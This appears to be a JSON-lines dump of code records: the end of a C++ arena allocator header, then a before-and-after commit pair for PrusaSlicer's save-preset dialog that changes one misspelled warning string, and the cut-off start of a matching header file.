http:\/\/home.roadrunner.com\/~hinnant\/stack_alloc.html .\ntemplate <typename T>\nclass linear_alloc\n{\npublic:\n\n  using value_type = T;\n\nprivate:\n  arena& a_;\n\npublic:\n\n  template <typename _Up>\n  struct rebind\n  {\n    using other = linear_alloc<_Up>;\n  };\n\n  linear_alloc(arena& a)\n  noexcept\n    : a_(a)\n  {}\n\n  template <typename U>\n  linear_alloc(const linear_alloc<U>& other)\n  noexcept\n    : a_(other.a_)\n  {}\n\n  linear_alloc(const linear_alloc&) = default;\n  linear_alloc& operator=(const linear_alloc&) = delete;\n\n  T*\n  allocate(std::size_t n)\n  const\n  {\n    return reinterpret_cast<T*>(a_.allocate(n*sizeof(T)));\n  }\n\n  void\n  deallocate(T* p, std::size_t n)\n  const noexcept\n  {\n    a_.deallocate(reinterpret_cast<char*>(p), n*sizeof(T));\n  }\n\n  template <typename U, typename V>\n  friend\n  bool\n  operator==(const linear_alloc<U>& lhs, const linear_alloc<V>& rhs)\n  noexcept\n  {\n    return &lhs.a_ == &rhs.a_;\n  }\n\n  template <typename U> friend class linear_alloc;\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n}} \/\/ namespace sdd::mem\n\n#endif \/\/ _SDD_MEM_LINEAR_ALLOC_HH_\n<|endoftext|>"}
{"text":"<commit_before>#include \"SavePresetDialog.hpp\"\n\n#include <cstddef>\n#include <vector>\n#include <string>\n#include <boost\/algorithm\/string.hpp>\n\n#include <wx\/sizer.h>\n#include <wx\/stattext.h>\n#include <wx\/wupdlock.h>\n\n#include \"libslic3r\/PresetBundle.hpp\"\n\n#include \"GUI.hpp\"\n#include \"GUI_App.hpp\"\n#include \"format.hpp\"\n#include \"Tab.hpp\"\n\nusing Slic3r::GUI::format_wxstr;\n\nnamespace Slic3r {\nnamespace GUI {\n\n#define BORDER_W 10\n\n\n\/\/-----------------------------------------------\n\/\/          SavePresetDialog::Item\n\/\/-----------------------------------------------\n\nSavePresetDialog::Item::Item(Preset::Type type, const std::string& suffix, wxBoxSizer* sizer, SavePresetDialog* parent):\n    m_type(type),\n    m_parent(parent)\n{\n    Tab* tab = wxGetApp().get_tab(m_type);\n    assert(tab);\n    m_presets = tab->get_presets();\n\n    const Preset& sel_preset = m_presets->get_selected_preset();\n    std::string preset_name =   sel_preset.is_default ? \"Untitled\" :\n                                sel_preset.is_system ? (boost::format((\"%1% - %2%\")) % sel_preset.name % suffix).str() :\n                                sel_preset.name;\n\n    \/\/ if name contains extension\n    if (boost::iends_with(preset_name, \".ini\")) {\n        size_t len = preset_name.length() - 4;\n        preset_name.resize(len);\n    }\n\n    std::vector<std::string> values;\n    for (const Preset& preset : *m_presets) {\n        if (preset.is_default || preset.is_system || preset.is_external)\n            continue;\n        values.push_back(preset.name);\n    }\n\n    wxStaticText* label_top = new wxStaticText(m_parent, wxID_ANY, from_u8((boost::format(_utf8(L(\"Save %s as:\"))) % into_u8(tab->title())).str()));\n\n    m_valid_bmp = new wxStaticBitmap(m_parent, wxID_ANY, create_scaled_bitmap(\"tick_mark\", m_parent));\n\n    m_combo = new wxComboBox(m_parent, wxID_ANY, from_u8(preset_name), wxDefaultPosition, wxSize(35 * wxGetApp().em_unit(), -1));\n    for (const std::string& value : values)\n        m_combo->Append(from_u8(value));\n\n    m_combo->Bind(wxEVT_TEXT, [this](wxCommandEvent&) { update(); });\n#ifdef __WXOSX__\n    \/\/ Under OSX wxEVT_TEXT wasn't invoked after change selection in combobox,\n    \/\/ So process wxEVT_COMBOBOX too\n    m_combo->Bind(wxEVT_COMBOBOX, [this](wxCommandEvent&) { update(); });\n#endif \/\/__WXOSX__\n\n    m_valid_label = new wxStaticText(m_parent, wxID_ANY, \"\");\n    m_valid_label->SetFont(wxGetApp().bold_font());\n\n    wxBoxSizer* combo_sizer = new wxBoxSizer(wxHORIZONTAL);\n    combo_sizer->Add(m_valid_bmp,   0, wxALIGN_CENTER_VERTICAL | wxRIGHT, BORDER_W);\n    combo_sizer->Add(m_combo,       1, wxEXPAND, BORDER_W);\n\n    sizer->Add(label_top,       0, wxEXPAND | wxTOP| wxBOTTOM, BORDER_W);\n    sizer->Add(combo_sizer,     0, wxEXPAND | wxBOTTOM, BORDER_W);\n    sizer->Add(m_valid_label,   0, wxEXPAND | wxLEFT,   3*BORDER_W);\n\n    if (m_type == Preset::TYPE_PRINTER)\n        m_parent->add_info_for_edit_ph_printer(sizer);\n\n    update();\n}\n\nvoid SavePresetDialog::Item::update()\n{\n    m_preset_name = into_u8(m_combo->GetValue());\n\n    m_valid_type = Valid;\n    wxString info_line;\n\n    const char* unusable_symbols = \"<>[]:\/\\\\|?*\\\"\";\n\n    const std::string unusable_suffix = PresetCollection::get_suffix_modified();\/\/\"(modified)\";\n    for (size_t i = 0; i < std::strlen(unusable_symbols); i++) {\n        if (m_preset_name.find_first_of(unusable_symbols[i]) != std::string::npos) {\n            info_line = _L(\"The supplied name is not valid;\") + \"\\n\" +\n                        _L(\"the following characters are not allowed:\") + \" \" + unusable_symbols;\n            m_valid_type = NoValid;\n            break;\n        }\n    }\n\n    if (m_valid_type == Valid && m_preset_name.find(unusable_suffix) != std::string::npos) {\n        info_line = _L(\"The supplied name is not valid;\") + \"\\n\" +\n                    _L(\"the following suffix is not allowed:\") + \"\\n\\t\" +\n                    from_u8(PresetCollection::get_suffix_modified());\n        m_valid_type = NoValid;\n    }\n\n    if (m_valid_type == Valid && m_preset_name == \"- default -\") {\n        info_line = _L(\"The supplied name is not available.\");\n        m_valid_type = NoValid;\n    }\n\n    const Preset* existing = m_presets->find_preset(m_preset_name, false);\n    if (m_valid_type == Valid && existing && (existing->is_default || existing->is_system)) {\n        info_line = _L(\"Cannot overwrite a system profile.\");\n        m_valid_type = NoValid;\n    }\n\n    if (m_valid_type == Valid && existing && (existing->is_external)) {\n        info_line = _L(\"Cannot overwrite an external profile.\");\n        m_valid_type = NoValid;\n    }\n\n    if (m_valid_type == Valid && existing && m_preset_name != m_presets->get_selected_preset_name())\n    {\n        if (existing->is_compatible)\n            info_line = from_u8((boost::format(_u8L(\"Preset with name \\\"%1%\\\" already exists.\")) % m_preset_name).str());\n        else\n            info_line = from_u8((boost::format(_u8L(\"Preset with name \\\"%1%\\\" already exists and is imcopatible with selected printer.\")) % m_preset_name).str());\n        info_line += \"\\n\" + _L(\"Note: This preset will be replaced after saving\");\n        m_valid_type = Warning;\n    }\n\n    if (m_valid_type == Valid && m_preset_name.empty()) {\n        info_line = _L(\"The name cannot be empty.\");\n        m_valid_type = NoValid;\n    }\n\n    m_valid_label->SetLabel(info_line);\n    m_valid_label->Show(!info_line.IsEmpty());\n\n    update_valid_bmp();\n\n    if (m_type == Preset::TYPE_PRINTER)\n        m_parent->update_info_for_edit_ph_printer(m_preset_name);\n\n    m_parent->layout();\n}\n\nvoid SavePresetDialog::Item::update_valid_bmp()\n{\n    std::string bmp_name =  m_valid_type == Warning ? \"exclamation\" :\n                            m_valid_type == NoValid ? \"cross\"       : \"tick_mark\" ;\n    m_valid_bmp->SetBitmap(create_scaled_bitmap(bmp_name, m_parent));\n}\n\nvoid SavePresetDialog::Item::accept()\n{\n    if (m_valid_type == Warning)\n        m_presets->delete_preset(m_preset_name);\n}\n\n\n\/\/-----------------------------------------------\n\/\/          SavePresetDialog\n\/\/-----------------------------------------------\n\nSavePresetDialog::SavePresetDialog(wxWindow* parent, Preset::Type type, std::string suffix)\n    : DPIDialog(parent, wxID_ANY, _L(\"Save preset\"), wxDefaultPosition, wxSize(45 * wxGetApp().em_unit(), 5 * wxGetApp().em_unit()), wxDEFAULT_DIALOG_STYLE | wxICON_WARNING | wxRESIZE_BORDER)\n{\n    build(std::vector<Preset::Type>{type}, suffix);\n}\n\nSavePresetDialog::SavePresetDialog(wxWindow* parent, std::vector<Preset::Type> types, std::string suffix)\n    : DPIDialog(parent, wxID_ANY, _L(\"Save preset\"), wxDefaultPosition, wxSize(45 * wxGetApp().em_unit(), 5 * wxGetApp().em_unit()), wxDEFAULT_DIALOG_STYLE | wxICON_WARNING | wxRESIZE_BORDER)\n{\n    build(types, suffix);\n}\n\nSavePresetDialog::~SavePresetDialog()\n{\n    for (auto  item : m_items) {\n        delete item;\n    }\n}\n\nvoid SavePresetDialog::build(std::vector<Preset::Type> types, std::string suffix)\n{\n    SetBackgroundColour(wxSystemSettings::GetColour(wxSYS_COLOUR_WINDOW));\n#if ENABLE_WX_3_1_3_DPI_CHANGED_EVENT && defined(__WXMSW__)\n    \/\/ ys_FIXME! temporary workaround for correct font scaling\n    \/\/ Because of from wxWidgets 3.1.3 auto rescaling is implemented for the Fonts,\n    \/\/ From the very beginning set dialog font to the wxSYS_DEFAULT_GUI_FONT\n    this->SetFont(wxSystemSettings::GetFont(wxSYS_DEFAULT_GUI_FONT));\n#endif \/\/ ENABLE_WX_3_1_3_DPI_CHANGED_EVENT\n\n    if (suffix.empty())\n        suffix = _CTX_utf8(L_CONTEXT(\"Copy\", \"PresetName\"), \"PresetName\");\n\n    wxBoxSizer* topSizer = new wxBoxSizer(wxVERTICAL);\n\n    m_presets_sizer = new wxBoxSizer(wxVERTICAL);\n\n    \/\/ Add first item\n    for (Preset::Type type : types)\n        AddItem(type, suffix);\n\n    \/\/ Add dialog's buttons\n    wxStdDialogButtonSizer* btns = this->CreateStdDialogButtonSizer(wxOK | wxCANCEL);\n    wxButton* btnOK = static_cast<wxButton*>(this->FindWindowById(wxID_OK, this));\n    btnOK->Bind(wxEVT_BUTTON,    [this](wxCommandEvent&)        { accept(); });\n    btnOK->Bind(wxEVT_UPDATE_UI, [this](wxUpdateUIEvent& evt)   { evt.Enable(enable_ok_btn()); });\n\n    topSizer->Add(m_presets_sizer,  0, wxEXPAND | wxALL, BORDER_W);\n    topSizer->Add(btns,             0, wxEXPAND | wxALL, BORDER_W);\n\n    SetSizer(topSizer);\n    topSizer->SetSizeHints(this);\n\n    this->CenterOnScreen();\n}\n\nvoid SavePresetDialog::AddItem(Preset::Type type, const std::string& suffix)\n{\n    m_items.emplace_back(new Item{type, suffix, m_presets_sizer, this});\n}\n\nstd::string SavePresetDialog::get_name()\n{\n    return m_items.front()->preset_name();\n}\n\nstd::string SavePresetDialog::get_name(Preset::Type type)\n{\n    for (const Item* item : m_items)\n        if (item->type() == type)\n            return item->preset_name();\n    return \"\";\n}\n\nbool SavePresetDialog::enable_ok_btn() const\n{\n    for (const Item* item : m_items)\n        if (!item->is_valid())\n            return false;\n\n    return true;\n}\n\nvoid SavePresetDialog::add_info_for_edit_ph_printer(wxBoxSizer* sizer)\n{\n    PhysicalPrinterCollection& printers = wxGetApp().preset_bundle->physical_printers;\n    m_ph_printer_name = printers.get_selected_printer_name();\n    m_old_preset_name = printers.get_selected_printer_preset_name();\n\n    wxString msg_text = from_u8((boost::format(_u8L(\"You have selected physical printer \\\"%1%\\\" \\n\"\n                                                    \"with related printer preset \\\"%2%\\\"\")) %\n                                                    m_ph_printer_name % m_old_preset_name).str());\n    m_label = new wxStaticText(this, wxID_ANY, msg_text);\n    m_label->SetFont(wxGetApp().bold_font());\n\n    wxString choices[] = {\"\",\"\",\"\"};\n\n    m_action_radio_box = new wxRadioBox(this, wxID_ANY, \"\", wxDefaultPosition, wxDefaultSize,\n                                        WXSIZEOF(choices), choices, 3, wxRA_SPECIFY_ROWS);\n    m_action_radio_box->SetSelection(0);\n    m_action_radio_box->Bind(wxEVT_RADIOBOX, [this](wxCommandEvent& e) {\n        m_action = (ActionType)e.GetSelection(); });\n    m_action = ChangePreset;\n\n    m_radio_sizer = new wxBoxSizer(wxHORIZONTAL);\n    m_radio_sizer->Add(m_action_radio_box, 1, wxEXPAND | wxTOP, 2*BORDER_W);\n\n    sizer->Add(m_label,         0, wxEXPAND | wxLEFT | wxTOP,   3*BORDER_W);\n    sizer->Add(m_radio_sizer,   1, wxEXPAND | wxLEFT,           3*BORDER_W);\n}\n\nvoid SavePresetDialog::update_info_for_edit_ph_printer(const std::string& preset_name)\n{\n    bool show = wxGetApp().preset_bundle->physical_printers.has_selection() && m_old_preset_name != preset_name;\n\n    m_label->Show(show);\n    m_radio_sizer->ShowItems(show);\n    if (!show) {\n        this->SetMinSize(wxSize(100,50));\n        return;\n    }\n\n    wxString msg_text = from_u8((boost::format(_u8L(\"What would you like to do with \\\"%1%\\\" preset after saving?\")) % preset_name).str());\n    m_action_radio_box->SetLabel(msg_text);\n\n    wxString choices[] = { from_u8((boost::format(_u8L(\"Change \\\"%1%\\\" to \\\"%2%\\\" for this physical printer \\\"%3%\\\"\")) % m_old_preset_name % preset_name % m_ph_printer_name).str()),\n                           from_u8((boost::format(_u8L(\"Add \\\"%1%\\\" as a next preset for the the physical printer \\\"%2%\\\"\")) % preset_name % m_ph_printer_name).str()),\n                           from_u8((boost::format(_u8L(\"Just switch to \\\"%1%\\\" preset\")) % preset_name).str()) };\n\n    int n = 0;\n    for(const wxString& label: choices)\n        m_action_radio_box->SetString(n++, label);\n}\n\nvoid SavePresetDialog::layout()\n{\n    this->Layout();\n    this->Fit();\n}\n\nvoid SavePresetDialog::on_dpi_changed(const wxRect& suggested_rect)\n{\n    const int& em = em_unit();\n\n    msw_buttons_rescale(this, em, { wxID_OK, wxID_CANCEL });\n\n    for (Item* item : m_items)\n        item->update_valid_bmp();\n\n    \/\/const wxSize& size = wxSize(45 * em, 35 * em);\n    SetMinSize(\/*size*\/wxSize(100, 50));\n\n    Fit();\n    Refresh();\n}\n\nvoid SavePresetDialog::update_physical_printers(const std::string& preset_name)\n{\n    if (m_action == UndefAction)\n        return;\n\n    PhysicalPrinterCollection& physical_printers = wxGetApp().preset_bundle->physical_printers;\n    if (!physical_printers.has_selection())\n        return;\n\n    std::string printer_preset_name = physical_printers.get_selected_printer_preset_name();\n\n    if (m_action == Switch)\n        \/\/ unselect physical printer, if it was selected\n        physical_printers.unselect_printer();\n    else\n    {\n        PhysicalPrinter printer = physical_printers.get_selected_printer();\n\n        if (m_action == ChangePreset)\n            printer.delete_preset(printer_preset_name);\n\n        if (printer.add_preset(preset_name))\n            physical_printers.save_printer(printer);\n\n        physical_printers.select_printer(printer.get_full_name(preset_name));\n    }    \n}\n\nvoid SavePresetDialog::accept()\n{\n    for (Item* item : m_items) {\n        item->accept();\n        if (item->type() == Preset::TYPE_PRINTER)\n            update_physical_printers(item->preset_name());\n    }\n\n    EndModal(wxID_OK);\n}\n\n}}    \/\/ namespace Slic3r::GUI\n<commit_msg>Fixes Spelling Error in Unsaved changes dialog (#5363)<commit_after>#include \"SavePresetDialog.hpp\"\n\n#include <cstddef>\n#include <vector>\n#include <string>\n#include <boost\/algorithm\/string.hpp>\n\n#include <wx\/sizer.h>\n#include <wx\/stattext.h>\n#include <wx\/wupdlock.h>\n\n#include \"libslic3r\/PresetBundle.hpp\"\n\n#include \"GUI.hpp\"\n#include \"GUI_App.hpp\"\n#include \"format.hpp\"\n#include \"Tab.hpp\"\n\nusing Slic3r::GUI::format_wxstr;\n\nnamespace Slic3r {\nnamespace GUI {\n\n#define BORDER_W 10\n\n\n\/\/-----------------------------------------------\n\/\/          SavePresetDialog::Item\n\/\/-----------------------------------------------\n\nSavePresetDialog::Item::Item(Preset::Type type, const std::string& suffix, wxBoxSizer* sizer, SavePresetDialog* parent):\n    m_type(type),\n    m_parent(parent)\n{\n    Tab* tab = wxGetApp().get_tab(m_type);\n    assert(tab);\n    m_presets = tab->get_presets();\n\n    const Preset& sel_preset = m_presets->get_selected_preset();\n    std::string preset_name =   sel_preset.is_default ? \"Untitled\" :\n                                sel_preset.is_system ? (boost::format((\"%1% - %2%\")) % sel_preset.name % suffix).str() :\n                                sel_preset.name;\n\n    \/\/ if name contains extension\n    if (boost::iends_with(preset_name, \".ini\")) {\n        size_t len = preset_name.length() - 4;\n        preset_name.resize(len);\n    }\n\n    std::vector<std::string> values;\n    for (const Preset& preset : *m_presets) {\n        if (preset.is_default || preset.is_system || preset.is_external)\n            continue;\n        values.push_back(preset.name);\n    }\n\n    wxStaticText* label_top = new wxStaticText(m_parent, wxID_ANY, from_u8((boost::format(_utf8(L(\"Save %s as:\"))) % into_u8(tab->title())).str()));\n\n    m_valid_bmp = new wxStaticBitmap(m_parent, wxID_ANY, create_scaled_bitmap(\"tick_mark\", m_parent));\n\n    m_combo = new wxComboBox(m_parent, wxID_ANY, from_u8(preset_name), wxDefaultPosition, wxSize(35 * wxGetApp().em_unit(), -1));\n    for (const std::string& value : values)\n        m_combo->Append(from_u8(value));\n\n    m_combo->Bind(wxEVT_TEXT, [this](wxCommandEvent&) { update(); });\n#ifdef __WXOSX__\n    \/\/ Under OSX wxEVT_TEXT wasn't invoked after change selection in combobox,\n    \/\/ So process wxEVT_COMBOBOX too\n    m_combo->Bind(wxEVT_COMBOBOX, [this](wxCommandEvent&) { update(); });\n#endif \/\/__WXOSX__\n\n    m_valid_label = new wxStaticText(m_parent, wxID_ANY, \"\");\n    m_valid_label->SetFont(wxGetApp().bold_font());\n\n    wxBoxSizer* combo_sizer = new wxBoxSizer(wxHORIZONTAL);\n    combo_sizer->Add(m_valid_bmp,   0, wxALIGN_CENTER_VERTICAL | wxRIGHT, BORDER_W);\n    combo_sizer->Add(m_combo,       1, wxEXPAND, BORDER_W);\n\n    sizer->Add(label_top,       0, wxEXPAND | wxTOP| wxBOTTOM, BORDER_W);\n    sizer->Add(combo_sizer,     0, wxEXPAND | wxBOTTOM, BORDER_W);\n    sizer->Add(m_valid_label,   0, wxEXPAND | wxLEFT,   3*BORDER_W);\n\n    if (m_type == Preset::TYPE_PRINTER)\n        m_parent->add_info_for_edit_ph_printer(sizer);\n\n    update();\n}\n\nvoid SavePresetDialog::Item::update()\n{\n    m_preset_name = into_u8(m_combo->GetValue());\n\n    m_valid_type = Valid;\n    wxString info_line;\n\n    const char* unusable_symbols = \"<>[]:\/\\\\|?*\\\"\";\n\n    const std::string unusable_suffix = PresetCollection::get_suffix_modified();\/\/\"(modified)\";\n    for (size_t i = 0; i < std::strlen(unusable_symbols); i++) {\n        if (m_preset_name.find_first_of(unusable_symbols[i]) != std::string::npos) {\n            info_line = _L(\"The supplied name is not valid;\") + \"\\n\" +\n                        _L(\"the following characters are not allowed:\") + \" \" + unusable_symbols;\n            m_valid_type = NoValid;\n            break;\n        }\n    }\n\n    if (m_valid_type == Valid && m_preset_name.find(unusable_suffix) != std::string::npos) {\n        info_line = _L(\"The supplied name is not valid;\") + \"\\n\" +\n                    _L(\"the following suffix is not allowed:\") + \"\\n\\t\" +\n                    from_u8(PresetCollection::get_suffix_modified());\n        m_valid_type = NoValid;\n    }\n\n    if (m_valid_type == Valid && m_preset_name == \"- default -\") {\n        info_line = _L(\"The supplied name is not available.\");\n        m_valid_type = NoValid;\n    }\n\n    const Preset* existing = m_presets->find_preset(m_preset_name, false);\n    if (m_valid_type == Valid && existing && (existing->is_default || existing->is_system)) {\n        info_line = _L(\"Cannot overwrite a system profile.\");\n        m_valid_type = NoValid;\n    }\n\n    if (m_valid_type == Valid && existing && (existing->is_external)) {\n        info_line = _L(\"Cannot overwrite an external profile.\");\n        m_valid_type = NoValid;\n    }\n\n    if (m_valid_type == Valid && existing && m_preset_name != m_presets->get_selected_preset_name())\n    {\n        if (existing->is_compatible)\n            info_line = from_u8((boost::format(_u8L(\"Preset with name \\\"%1%\\\" already exists.\")) % m_preset_name).str());\n        else\n            info_line = from_u8((boost::format(_u8L(\"Preset with name \\\"%1%\\\" already exists and is incopatible with selected printer.\")) % m_preset_name).str());\n        info_line += \"\\n\" + _L(\"Note: This preset will be replaced after saving\");\n        m_valid_type = Warning;\n    }\n\n    if (m_valid_type == Valid && m_preset_name.empty()) {\n        info_line = _L(\"The name cannot be empty.\");\n        m_valid_type = NoValid;\n    }\n\n    m_valid_label->SetLabel(info_line);\n    m_valid_label->Show(!info_line.IsEmpty());\n\n    update_valid_bmp();\n\n    if (m_type == Preset::TYPE_PRINTER)\n        m_parent->update_info_for_edit_ph_printer(m_preset_name);\n\n    m_parent->layout();\n}\n\nvoid SavePresetDialog::Item::update_valid_bmp()\n{\n    std::string bmp_name =  m_valid_type == Warning ? \"exclamation\" :\n                            m_valid_type == NoValid ? \"cross\"       : \"tick_mark\" ;\n    m_valid_bmp->SetBitmap(create_scaled_bitmap(bmp_name, m_parent));\n}\n\nvoid SavePresetDialog::Item::accept()\n{\n    if (m_valid_type == Warning)\n        m_presets->delete_preset(m_preset_name);\n}\n\n\n\/\/-----------------------------------------------\n\/\/          SavePresetDialog\n\/\/-----------------------------------------------\n\nSavePresetDialog::SavePresetDialog(wxWindow* parent, Preset::Type type, std::string suffix)\n    : DPIDialog(parent, wxID_ANY, _L(\"Save preset\"), wxDefaultPosition, wxSize(45 * wxGetApp().em_unit(), 5 * wxGetApp().em_unit()), wxDEFAULT_DIALOG_STYLE | wxICON_WARNING | wxRESIZE_BORDER)\n{\n    build(std::vector<Preset::Type>{type}, suffix);\n}\n\nSavePresetDialog::SavePresetDialog(wxWindow* parent, std::vector<Preset::Type> types, std::string suffix)\n    : DPIDialog(parent, wxID_ANY, _L(\"Save preset\"), wxDefaultPosition, wxSize(45 * wxGetApp().em_unit(), 5 * wxGetApp().em_unit()), wxDEFAULT_DIALOG_STYLE | wxICON_WARNING | wxRESIZE_BORDER)\n{\n    build(types, suffix);\n}\n\nSavePresetDialog::~SavePresetDialog()\n{\n    for (auto  item : m_items) {\n        delete item;\n    }\n}\n\nvoid SavePresetDialog::build(std::vector<Preset::Type> types, std::string suffix)\n{\n    SetBackgroundColour(wxSystemSettings::GetColour(wxSYS_COLOUR_WINDOW));\n#if ENABLE_WX_3_1_3_DPI_CHANGED_EVENT && defined(__WXMSW__)\n    \/\/ ys_FIXME! temporary workaround for correct font scaling\n    \/\/ Because of from wxWidgets 3.1.3 auto rescaling is implemented for the Fonts,\n    \/\/ From the very beginning set dialog font to the wxSYS_DEFAULT_GUI_FONT\n    this->SetFont(wxSystemSettings::GetFont(wxSYS_DEFAULT_GUI_FONT));\n#endif \/\/ ENABLE_WX_3_1_3_DPI_CHANGED_EVENT\n\n    if (suffix.empty())\n        suffix = _CTX_utf8(L_CONTEXT(\"Copy\", \"PresetName\"), \"PresetName\");\n\n    wxBoxSizer* topSizer = new wxBoxSizer(wxVERTICAL);\n\n    m_presets_sizer = new wxBoxSizer(wxVERTICAL);\n\n    \/\/ Add first item\n    for (Preset::Type type : types)\n        AddItem(type, suffix);\n\n    \/\/ Add dialog's buttons\n    wxStdDialogButtonSizer* btns = this->CreateStdDialogButtonSizer(wxOK | wxCANCEL);\n    wxButton* btnOK = static_cast<wxButton*>(this->FindWindowById(wxID_OK, this));\n    btnOK->Bind(wxEVT_BUTTON,    [this](wxCommandEvent&)        { accept(); });\n    btnOK->Bind(wxEVT_UPDATE_UI, [this](wxUpdateUIEvent& evt)   { evt.Enable(enable_ok_btn()); });\n\n    topSizer->Add(m_presets_sizer,  0, wxEXPAND | wxALL, BORDER_W);\n    topSizer->Add(btns,             0, wxEXPAND | wxALL, BORDER_W);\n\n    SetSizer(topSizer);\n    topSizer->SetSizeHints(this);\n\n    this->CenterOnScreen();\n}\n\nvoid SavePresetDialog::AddItem(Preset::Type type, const std::string& suffix)\n{\n    m_items.emplace_back(new Item{type, suffix, m_presets_sizer, this});\n}\n\nstd::string SavePresetDialog::get_name()\n{\n    return m_items.front()->preset_name();\n}\n\nstd::string SavePresetDialog::get_name(Preset::Type type)\n{\n    for (const Item* item : m_items)\n        if (item->type() == type)\n            return item->preset_name();\n    return \"\";\n}\n\nbool SavePresetDialog::enable_ok_btn() const\n{\n    for (const Item* item : m_items)\n        if (!item->is_valid())\n            return false;\n\n    return true;\n}\n\nvoid SavePresetDialog::add_info_for_edit_ph_printer(wxBoxSizer* sizer)\n{\n    PhysicalPrinterCollection& printers = wxGetApp().preset_bundle->physical_printers;\n    m_ph_printer_name = printers.get_selected_printer_name();\n    m_old_preset_name = printers.get_selected_printer_preset_name();\n\n    wxString msg_text = from_u8((boost::format(_u8L(\"You have selected physical printer \\\"%1%\\\" \\n\"\n                                                    \"with related printer preset \\\"%2%\\\"\")) %\n                                                    m_ph_printer_name % m_old_preset_name).str());\n    m_label = new wxStaticText(this, wxID_ANY, msg_text);\n    m_label->SetFont(wxGetApp().bold_font());\n\n    wxString choices[] = {\"\",\"\",\"\"};\n\n    m_action_radio_box = new wxRadioBox(this, wxID_ANY, \"\", wxDefaultPosition, wxDefaultSize,\n                                        WXSIZEOF(choices), choices, 3, wxRA_SPECIFY_ROWS);\n    m_action_radio_box->SetSelection(0);\n    m_action_radio_box->Bind(wxEVT_RADIOBOX, [this](wxCommandEvent& e) {\n        m_action = (ActionType)e.GetSelection(); });\n    m_action = ChangePreset;\n\n    m_radio_sizer = new wxBoxSizer(wxHORIZONTAL);\n    m_radio_sizer->Add(m_action_radio_box, 1, wxEXPAND | wxTOP, 2*BORDER_W);\n\n    sizer->Add(m_label,         0, wxEXPAND | wxLEFT | wxTOP,   3*BORDER_W);\n    sizer->Add(m_radio_sizer,   1, wxEXPAND | wxLEFT,           3*BORDER_W);\n}\n\nvoid SavePresetDialog::update_info_for_edit_ph_printer(const std::string& preset_name)\n{\n    bool show = wxGetApp().preset_bundle->physical_printers.has_selection() && m_old_preset_name != preset_name;\n\n    m_label->Show(show);\n    m_radio_sizer->ShowItems(show);\n    if (!show) {\n        this->SetMinSize(wxSize(100,50));\n        return;\n    }\n\n    wxString msg_text = from_u8((boost::format(_u8L(\"What would you like to do with \\\"%1%\\\" preset after saving?\")) % preset_name).str());\n    m_action_radio_box->SetLabel(msg_text);\n\n    wxString choices[] = { from_u8((boost::format(_u8L(\"Change \\\"%1%\\\" to \\\"%2%\\\" for this physical printer \\\"%3%\\\"\")) % m_old_preset_name % preset_name % m_ph_printer_name).str()),\n                           from_u8((boost::format(_u8L(\"Add \\\"%1%\\\" as a next preset for the the physical printer \\\"%2%\\\"\")) % preset_name % m_ph_printer_name).str()),\n                           from_u8((boost::format(_u8L(\"Just switch to \\\"%1%\\\" preset\")) % preset_name).str()) };\n\n    int n = 0;\n    for(const wxString& label: choices)\n        m_action_radio_box->SetString(n++, label);\n}\n\nvoid SavePresetDialog::layout()\n{\n    this->Layout();\n    this->Fit();\n}\n\nvoid SavePresetDialog::on_dpi_changed(const wxRect& suggested_rect)\n{\n    const int& em = em_unit();\n\n    msw_buttons_rescale(this, em, { wxID_OK, wxID_CANCEL });\n\n    for (Item* item : m_items)\n        item->update_valid_bmp();\n\n    \/\/const wxSize& size = wxSize(45 * em, 35 * em);\n    SetMinSize(\/*size*\/wxSize(100, 50));\n\n    Fit();\n    Refresh();\n}\n\nvoid SavePresetDialog::update_physical_printers(const std::string& preset_name)\n{\n    if (m_action == UndefAction)\n        return;\n\n    PhysicalPrinterCollection& physical_printers = wxGetApp().preset_bundle->physical_printers;\n    if (!physical_printers.has_selection())\n        return;\n\n    std::string printer_preset_name = physical_printers.get_selected_printer_preset_name();\n\n    if (m_action == Switch)\n        \/\/ unselect physical printer, if it was selected\n        physical_printers.unselect_printer();\n    else\n    {\n        PhysicalPrinter printer = physical_printers.get_selected_printer();\n\n        if (m_action == ChangePreset)\n            printer.delete_preset(printer_preset_name);\n\n        if (printer.add_preset(preset_name))\n            physical_printers.save_printer(printer);\n\n        physical_printers.select_printer(printer.get_full_name(preset_name));\n    }    \n}\n\nvoid SavePresetDialog::accept()\n{\n    for (Item* item : m_items) {\n        item->accept();\n        if (item->type() == Preset::TYPE_PRINTER)\n            update_physical_printers(item->preset_name());\n    }\n\n    EndModal(wxID_OK);\n}\n\n}}    \/\/ namespace Slic3r::GUI\n<|endoftext|>"}
{"text":"<commit_before>#ifndef slic3r_SavePresetDialog_hpp_\n#define slic3r_SavePresetDialog_hpp_\n\n\/\/#include <wx\/gdicmn.h>\n\n#include \"libslic3r\/Preset.hpp\"\n#include \"wxExtensions.hpp\"\n#include \"GUI_Utils.hpp\"\n\nclass wxString;\nclass wxStaticText;\nclass wxComboBox;\nclass wxStaticBitmap;\n\nnamespace Slic3r {\n\nnamespace GUI {\n\nclass SavePresetDialog : public DPIDialog\n{\n    enum ActionType\n    {\n        ChangePreset,\n        AddPreset,\n        Switch, \n        UndefAction\n    };\n\n    struct Item\n    {\n        enum ValidationType\n        {\n            Valid,\n            NoValid,\n            Warning\n        };\n\n        Item(Preset::Type type, const std::string& suffix, wxBoxSizer* sizer, SavePresetDialog* parent);\n\n        void            update_valid_bmp();\n        void            accept();\n\n        bool            is_valid()      const { return m_valid_type != NoValid; }\n        Preset::Type    type()          const { return m_type; }\n        std::string     preset_name()   const { return m_preset_name; }\n\n    private:\n        Preset::Type    m_type;\n        ValidationType  m_valid_type;\n        std::string\t\tm_preset_name;\n\n        SavePresetDialog*   m_parent        {nullptr};\n        wxStaticBitmap*     m_valid_bmp     {nullptr};\n        wxComboBox*         m_combo         {nullptr};\n        wxStaticText*       m_valid_label   {nullptr};\n\n        PresetCollection*   m_presets       {nullptr};\n\n        void update();\n    };\n\n    std::vector<Item*>   m_items;\n\n    wxBoxSizer*         m_presets_sizer     {nullptr};\n    wxStaticText*       m_label             {nullptr};\n    wxRadioBox*         m_action_radio_box  {nullptr};\n    wxBoxSizer*         m_radio_sizer       {nullptr};  \n    ActionType          m_action            {UndefAction};\n\n    std::string         m_ph_printer_name;\n    std::string         m_old_preset_name;\n\npublic:\n\n    SavePresetDialog(Preset::Type type, std::string suffix = \"\");\n    SavePresetDialog(std::vector<Preset::Type> types, std::string suffix = \"\");\n    ~SavePresetDialog();\n\n    void AddItem(Preset::Type type, const std::string& suffix);\n\n    std::string get_name();\n    std::string get_name(Preset::Type type);\n\n    bool enable_ok_btn() const;\n    void add_info_for_edit_ph_printer(wxBoxSizer *sizer);\n    void 